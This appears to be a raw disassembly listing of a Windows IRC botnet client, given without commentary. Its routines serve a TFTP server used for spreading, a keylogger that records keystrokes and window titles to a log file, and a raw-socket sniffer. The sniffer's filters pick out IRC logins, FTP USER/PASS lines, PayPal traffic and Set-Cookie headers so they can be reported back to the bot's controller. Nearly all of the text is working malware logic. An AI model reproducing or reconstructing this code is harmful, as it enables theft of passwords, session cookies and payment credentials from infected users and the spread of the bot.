		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41E180
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E30EC	; sendto
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412375
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409C75
		add	esp, 14h

loc_412375:				; CODE XREF: sub_41206F+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415A3C
		pop	ecx
		jmp	loc_412491
; ---------------------------------------------------------------------------

loc_412387:				; CODE XREF: sub_41206F+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_41247B
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_4123BE
		inc	al
		xor	cl, cl
		mov	[ebp+var_575], bl
		jmp	short loc_4123C6
; ---------------------------------------------------------------------------

loc_4123BE:				; CODE XREF: sub_41206F+341j
		inc	cl
		mov	[ebp+var_575], cl

loc_4123C6:				; CODE XREF: sub_41206F+34Dj
		mov	[ebp+var_576], al
		mov	edi, 200h
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, edi
		push	eax
		push	[ebp+var_4]
		call	sub_420FE0
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_41E180
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E30EC	; sendto
		cmp	edi, ebx
		jnz	short loc_412491
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412466
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409C75
		add	esp, 14h

loc_412466:				; CODE XREF: sub_41206F+3D2j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415A3C
		inc	dword_4E5B88
		pop	ecx
		jmp	short loc_412491
; ---------------------------------------------------------------------------

loc_41247B:				; CODE XREF: sub_41206F+24Aj
					; sub_41206F+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_44B750
		push	esi
		call	dword_4E30EC	; sendto

loc_412491:				; CODE XREF: sub_41206F+1E9j
					; sub_41206F+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_4121FF
		mov	edi, [ebp+arg_0]

loc_41249D:				; CODE XREF: sub_41206F+199j
		push	esi
		call	dword_4E3120	; closesocket
		push	[ebp+var_4]
		call	sub_41BCF0
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_4124CE
		push	[ebp+var_168]
		call	sub_40B9A7
		pop	ecx
		push	ebx
		call	dword_4F53A0	; ExitThread

loc_4124CE:				; CODE XREF: sub_41206F+44Aj
		push	3E8h
		call	dword_4F534C	; Sleep
		push	edi

loc_4124DA:				; CODE XREF: sub_41206F+125j
		call	sub_41206F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41206F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4124E6	proc near		; CODE XREF: sub_4125C5+B4p
					; sub_4125C5+247p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_4F5404	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_4F5348	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset dword_44BECC
		push	eax
		call	sub_41F630
		lea	eax, [ebp+var_114]
		push	offset dword_43F114
		push	eax
		call	sub_41F630
		lea	eax, [ebp+var_114]
		push	offset dword_44BED0
		push	eax
		call	sub_41E490
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_41254B
		inc	eax
		jmp	short loc_4125C2
; ---------------------------------------------------------------------------

loc_41254B:				; CODE XREF: sub_4124E6+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41F4E0
		push	esi
		call	sub_41BCF0
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4125C0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_44BEF0
		push	200h
		push	eax
		call	sub_41EC30
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409C75
		add	esp, 24h

loc_4125C0:				; CODE XREF: sub_4124E6+A1j
		xor	eax, eax

loc_4125C2:				; CODE XREF: sub_4124E6+63j
		pop	esi
		leave
		retn
sub_4124E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125C5	proc near		; DATA XREF: sub_401C87+44DAo

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_4E300C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4E3024	; GetWindowTextA
		mov	ebx, 200h

loc_412620:				; CODE XREF: sub_4125C5+2BBj
		push	8
		call	dword_4F534C	; Sleep
		call	dword_4E300C	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_4126A8
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_4E3024	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_41EA60
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4124E6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch

loc_4126A8:				; CODE XREF: sub_4125C5+6Cj
		mov	[ebp+arg_0], offset dword_44B764

loc_4126AF:				; CODE XREF: sub_4125C5+2B1j
		push	10h
		call	dword_4E2F5C	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_4E3054	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_412746
		push	14h
		call	dword_4E2F5C	; GetKeyState
		test	ax, ax
		jz	short loc_4126F7
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4126F7
		cmp	edi, 40h
		jle	short loc_4126F7
		cmp	edi, 5Bh
		jge	short loc_4126F7
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_41286B
; ---------------------------------------------------------------------------

loc_4126F7:				; CODE XREF: sub_4125C5+111j
					; sub_4125C5+116j ...
		push	14h
		call	dword_4E2F5C	; GetKeyState
		test	ax, ax
		jz	short loc_412722
		test	esi, esi
		jge	short loc_412736
		cmp	edi, 40h
		jle	short loc_412722
		cmp	edi, 5Bh
		jge	short loc_412722
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_41286B
; ---------------------------------------------------------------------------

loc_412722:				; CODE XREF: sub_4125C5+13Dj
					; sub_4125C5+146j ...
		test	esi, esi
		jge	short loc_412736
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_41286B
; ---------------------------------------------------------------------------

loc_412736:				; CODE XREF: sub_4125C5+141j
					; sub_4125C5+15Fj
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_41286B
; ---------------------------------------------------------------------------

loc_412746:				; CODE XREF: sub_4125C5+104j
		lea	eax, [ebp+edi*4+var_8DC]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_41286B
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41BC70
		cmp	edi, 8
		pop	ecx
		jnz	short loc_412779
		and	[ebp+eax+var_2DD], 0
		jmp	loc_41286B
; ---------------------------------------------------------------------------

loc_412779:				; CODE XREF: sub_4125C5+1A5j
		cmp	eax, 1B9h
		jbe	short loc_4127A5
		call	dword_4E300C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4E3024	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_4127E6
; ---------------------------------------------------------------------------

loc_4127A5:				; CODE XREF: sub_4125C5+1B9j
		cmp	edi, 0Dh
		jnz	loc_41283D
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41BC70
		test	eax, eax
		pop	ecx
		jz	loc_41286B
		call	dword_4E300C	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_4E3024	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"

loc_4127E6:				; CODE XREF: sub_4125C5+1DEj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_41EA60
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_4124E6
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		jmp	short loc_41286B
; ---------------------------------------------------------------------------

loc_41283D:				; CODE XREF: sub_4125C5+1E3j
		cmp	esi, 1
		jz	short loc_412856
		cmp	esi, 3
		jz	short loc_412856
		cmp	esi, 2
		jz	short loc_412851
		cmp	esi, 4
		jnz	short loc_41286B

loc_412851:				; CODE XREF: sub_4125C5+285j
		push	[ebp+arg_0]
		jmp	short loc_41285D
; ---------------------------------------------------------------------------

loc_412856:				; CODE XREF: sub_4125C5+27Bj
					; sub_4125C5+280j
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax

loc_41285D:				; CODE XREF: sub_4125C5+28Fj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41F630
		pop	ecx
		pop	ecx

loc_41286B:				; CODE XREF: sub_4125C5+12Dj
					; sub_4125C5+158j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_44BE94
		jl	loc_4126AF
		cmp	[ebp+var_4], 0
		jz	loc_412620
		push	[ebp+var_D8]
		call	sub_40B9A7
		pop	ecx
		push	0
		call	dword_4F53A0	; ExitThread
sub_4125C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41289A	proc near		; DATA XREF: sub_401C87+4106o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41EF80
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		xor	eax, eax
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+var_B4]
		inc	eax
		push	10h
		rep movsd
		mov	[ebp+var_8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_4E3088	; htons
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40AEAD
		pop	ecx
		push	eax
		call	dword_4E30C8	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_4E3108	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_41296F
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_44C7D0
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412952
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409C75
		add	esp, 14h

loc_412952:				; CODE XREF: sub_41289A+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415A3C
		push	[ebp+var_30]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_41296F:				; CODE XREF: sub_41289A+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_455FCC[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_4E30B4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4129F4
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_44C7FC
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4129D0
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409C75
		add	esp, 14h

loc_4129D0:				; CODE XREF: sub_41289A+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_30]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_4129F4:				; CODE XREF: sub_41289A+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_4E3034	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412A77
		call	dword_4E301C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_44C828
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412A53
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409C75
		add	esp, 14h

loc_412A53:				; CODE XREF: sub_41289A+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_30]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_412A77:				; CODE XREF: sub_41289A+177j
		push	ebx
		mov	ebx, offset dword_44BF78

loc_412A7D:				; CODE XREF: sub_41289A+21Cj
					; sub_41289A+22Ej ...
		push	0FFFFh
		lea	eax, [ebp+var_102B4]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	0FFFFh
		push	eax
		push	edi
		call	dword_4E30A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_412BA6
		cmp	[ebp+var_102AB], 6
		jnz	short loc_412A7D
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_412A7D
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff_0 ; "[PSNIFF]"
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A7D
		lea	eax, [ebp+var_1028C]
		push	offset dword_44C864
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A7D
		xor	edi, edi
		mov	eax, ebx
		mov	[ebp+arg_0], ebx

loc_412AFF:				; CODE XREF: sub_41289A+280j
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412B24
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_412AFF

loc_412B1C:				; CODE XREF: sub_41289A+307j
		mov	edi, [ebp+var_4]
		jmp	loc_412A7D
; ---------------------------------------------------------------------------

loc_412B24:				; CODE XREF: sub_41289A+276j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_4E2FB8	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_44BF8C[eax*8]
		push	off_44BF64[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset dword_44C874
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_412B94
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409C75
		add	esp, 14h

loc_412B94:				; CODE XREF: sub_41289A+2D8j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415A3C
		pop	ecx
		jmp	loc_412B1C
; ---------------------------------------------------------------------------

loc_412BA6:				; CODE XREF: sub_41289A+20Fj
		call	dword_4E301C	; WSAGetLastError
		push	eax
		push	offset dword_44C8A8
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41EC30
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_412BEC
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_409C75
		add	esp, 14h

loc_412BEC:				; CODE XREF: sub_41289A+330j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	edi
		call	dword_4E3120	; closesocket
		push	[ebp+var_30]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
sub_41289A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412C10	proc near		; CODE XREF: sub_412F1F+216p
					; sub_412F1F+240p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4E5DE8, eax
		mov	eax, offset dword_4E5DE8
		retn
sub_412C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C1F	proc near		; CODE XREF: sub_412F1F+2B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C39

loc_412C35:				; CODE XREF: sub_412C1F+29j
					; sub_412C1F+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412C39:				; CODE XREF: sub_412C1F+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		push	offset aPsniff_2 ; "PSNIFF//"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		push	offset aJoin_1	; "JOIN	#"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412C81

loc_412C7D:				; CODE XREF: sub_412C1F+71j
					; sub_412C1F+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412C81:				; CODE XREF: sub_412C1F+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7D
		push	offset a366	; "366 "
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7D
		push	offset a_login	; ":.login"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7D
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7D
		push	offset aLogin_1	; ":!Login"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7D
		push	offset a_login_0 ; ":.Login"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7D
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C7D
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412C7D
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412C7D
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412C1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D36	proc near		; CODE XREF: sub_412F1F:loc_413205p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412D50

loc_412D4C:				; CODE XREF: sub_412D36+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412D50:				; CODE XREF: sub_412D36+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D4C
		push	offset aOper	; "OPER	"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412D76

loc_412D72:				; CODE XREF: sub_412D36+4Fj
					; sub_412D36+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412D76:				; CODE XREF: sub_412D36+3Aj
		push	offset aNick_3	; "NICK	"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D72
		push	offset aOper_0	; "oper	"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D72
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_412DAC	proc near		; CODE XREF: sub_412F1F:loc_413231p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412DC6

loc_412DC2:				; CODE XREF: sub_412DAC+29j
					; sub_412DAC+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412DC6:				; CODE XREF: sub_412DAC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DC2
		push	offset aNick_2	; "NICK	"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DC2
		push	offset a220	; "220 "
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412DFD

loc_412DF9:				; CODE XREF: sub_412DAC+60j
					; sub_412DAC+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412DAC+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DF9
		push	offset aUser_2	; "USER	"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DF9
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E33	proc near		; CODE XREF: sub_412F1F+345p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412E4D

loc_412E49:				; CODE XREF: sub_412E33+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412E4D:				; CODE XREF: sub_412E33+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E49
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412E73

loc_412E6F:				; CODE XREF: sub_412E33+4Fj
					; sub_412E33+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412E73:				; CODE XREF: sub_412E33+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E6F
		push	offset aPaypal_com ; "PAYPAL.COM"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E6F
		push	offset aPaypal_com_0 ; "paypal.com"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412E6F
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412E33	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EBA	proc near		; CODE XREF: sub_412F1F:loc_4132CCp

arg_0		= dword	ptr  4

		push	esi
